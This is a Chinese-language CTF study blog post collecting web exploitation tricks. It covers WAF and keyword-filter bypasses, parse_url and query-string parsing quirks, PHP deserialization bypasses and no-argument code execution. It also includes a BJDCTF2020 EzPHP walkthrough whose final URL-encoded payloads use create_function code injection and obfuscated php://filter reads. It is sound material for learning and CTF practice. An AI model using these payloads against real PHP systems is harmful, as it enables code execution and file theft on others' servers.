零散的知识点记录
json
1.在json环境下:
1 |
%20 %2B \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B |
这些字符会作为mysql分隔符。
2.json支持的字符中可以支持unicode编码。
转换脚本
1 |
|
nodejs
关键字过滤绕过
可以利用字符串拼接和数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但注意到单双引号和加号同时被过滤了,我们想要直接输入字符串拼接的话似乎也行不通了。这里我们可以利用反引号来把文本括起来作为字符串 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings ,同时我们也可以利用模板字符串嵌套来拼接出我们想要的被过滤了的字符串。
比如这里 prototype 被过滤了,我们可以这样书写
1 |
`${`${`prototyp`}e`}` |
这样就可以拼接出一个 prototype 字符串,最后payload
php
php函数
call_user_func
1 |
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018')); |
call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call
方法,造成ssrf去访问flag.php。
parse_url解析漏洞
此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:
1 |
scheme – 如 http |
此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
注: 此函数对相对路径的 URL 不起作用。
利用点一:
匹配最后一个@后面符合格式的host
1 |
|
结果
1 |
http://[email protected]/file.php?v=1&k=2#id</br>array(6) { |
利用点二:
如果path部分为///,则解析错误,为false ,例如可绕过如下部分
1 |
|
php特性
PHP的字符串解析特性:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)
num参数的值如果为字母就会显示页面请求就会错误。可以猜测这里的waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。(主要是waf不是用php写的)
1 |
$query = $_SERVER['QUERY_STRING']; |
payload
1 |
?b%20u%20p%20t=23333a |
反序列化绕过
1 |
|
弱类型绕过op,php://filter读取文件,
is_valid()两种绕过方式
(1). p神在小密圈内曾经发过一个点就是在反序列化时,将s改为S,此时后面的字符串支持16进制表示,因此我们的0x00就可以改写为\00,因为在is_valid中是将我们序列化后的字符串逐个转为ascii然后进行对比,而因此\00会被解析为三个字符,且都在允许的范围内,因此可以成功绕过。
(2). 这道题因为出题人的php版本较高,前面的绕过还可以用php7.2+的黑魔法,public属性直接反序列化就能用了。
php后缀限制
后缀不能为.php
1 |
public function getCacheKey(string $name): string { |
可以使用
1 |
$this->key = /../penson.php/. |
在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./penson.php,而传入之前,是 /../penson.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查
无参数执行
1 |
|
其中
1 |
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']) |
(和)表示转义括号
(?R)?表示引用当前表达式
大致意思就是可以使用函数,但是函数中不能有参数
1 |
localeconv() 函数返回一包含本地数字及货币格式信息的数组。 |
查看有哪些文件
1 |
?exp=print_r(scandir(current(localeconv()))); |
打印flag
1 |
?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
解释
1 |
scandir(current(localeconv()))是查看当前目录 |
preg_replace与代码执行
1 |
|
paydload
1 |
next.php?\S*=${getFlag()}&cmd=system('cat /flag'); |
详情可看此文章:https://xz.aliyun.com/t/2557
[BJDCTF2020]EzPHP
知识点
1 |
base32 |
页面源码 找到一个base32的字符串,解码得1nD3x.php
1 |
|
考点 一:绕过 QUERY_STRING 的正则匹配
1 |
if($_SERVER) { |
QUERY_STRING相关知识
1 |
http://localhost/aaa/index.php?p=222&q=333 |
由于$_SERVER['QUERY_STRING']
不会进行 URLDecode,而 $_GET[]
会,所以只要进行 url 编码即可绕过:
考点二: preg_match在非/s模式绕过
1 |
if (!preg_match('/http|https/i', $_GET['file'])) { |
首先对于file过滤了http和https,然后就是对于GET参数的debu,需要匹配要正则但是又不能和aqua_is_cute这个字符串一样。考虑到preg_match在非/s模式下,会忽略末尾的%0a,因为可以用aqua_is_cute%0a来绕过。又因为aqua_is_cute中有单词被过滤了,因此同样需要用url编码来绕过。
但是$_GET["file"]
又应该怎么给值呢?考虑到这个:
1 |
if (file_get_contents($file) !== 'debu_debu_aqua') |
因此利用php的伪协议:
1 |
file=data://text/plain,debu_debu_aqua |
考点 三:绕过 $_REQUEST
的字母匹配
1 |
if($_REQUEST) { |
也就是说不允许有字母。我也卡在了这里,没有想到如果POST和GET传相同名字的参数结果会是怎么样。因为POST的优先级比GET高,如果参数名相同,最终$_REQUEST
中的值应该是POST里那个参数的,因此可以传:
1 |
debu=1&file=2 |
这个优先级是由 php 的配置文件决定的,在 php.ini 中
1 |
; This directive determines which super global arrays are registered when PHP |
考点 四:sha1数组绕过
1 |
|
考点 五:create_function()的代码注入
1 |
if(preg_match('/^[a-z0-9]*$/isD', $code) || |
解析create_function() && 复现wp: https://paper.seebug.org/94/
应用到本题:
1 |
$code('', $arg); |
$code是create_function,因此这个匿名函数可以是这样:
1 |
function test(){ |
让$arg是}var_dump(get_defined_vars);//
则变成了这样:
1 |
function test(){ |
首先用}闭合掉test函数,然后自己写危险的语句,最终用//把}给注释掉。
网上的可能大多是用/,其实如果用/,你就可以理解成这样:
1 |
function test(){ |
get_defined_vars
— 返回由所有已定义变量所组成的数组
最后
1 |
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());// |
这里看到最后的flag在rea1fl4g.php中,使用require加base64编码加取反替代var_dump(get_defined_vars())
‘
require(php://filter/convert.base64-encode/resource=rea1fl4g.php)
1 |
|
payload
1 |
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// |
url编码的脚本
1 |
|
php反序列化原生类利用
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
CTF任意读取重要信息文件
1 |
(1)/etc目录 |
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论